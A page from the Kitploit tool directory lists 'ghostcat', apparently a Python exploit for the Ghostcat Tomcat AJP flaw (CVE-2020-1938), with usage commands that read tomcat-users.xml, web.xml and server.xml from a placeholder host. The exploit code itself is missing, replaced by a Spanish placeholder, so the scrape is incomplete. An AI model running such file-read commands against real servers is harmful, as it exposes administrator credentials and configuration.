Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ghostcat — Python exploit for CVE-2020-1938 (Ghostcat) that reads arbitrary files from Apache Tomcat servers via the AJP connector on port 8009, including configuration and credential files. | Kitploit
Tools/GitHubGitHub/cyberguardsec101-sketch/ghostcat
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcyberguardsec101-sketch/ghostcat

ghostcat

Python exploit for CVE-2020-1938 (Ghostcat) that reads arbitrary files from Apache Tomcat servers via the AJP connector on port 8009, including configuration and credential files.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Ghostcat - CVE-2020-1938 Exploit Read Tomcat files via AJP connector (port 8009) Usage: python3 ghostcat.py [file] """

Save the script

cat > ghostcat.py << 'PYEOF' [AQUÍ VA EL CÓDIGO COMPLETO DE ARRIBA] PYEOF

Set permissions and run

chmod +x ghostcat.py

Read tomcat-users.xml (Tomcat Manager credentials)

python3 ghostcat.py ejemplo.com conf/tomcat-users.xml 8009

Read WEB-INF/web.xml

python3 ghostcat.py ejemplo.com WEB-INF/web.xml 8009

Read server.xml (full configuration)

python3 ghostcat.py ejemplo.com conf/server.xml 8009

Download Tool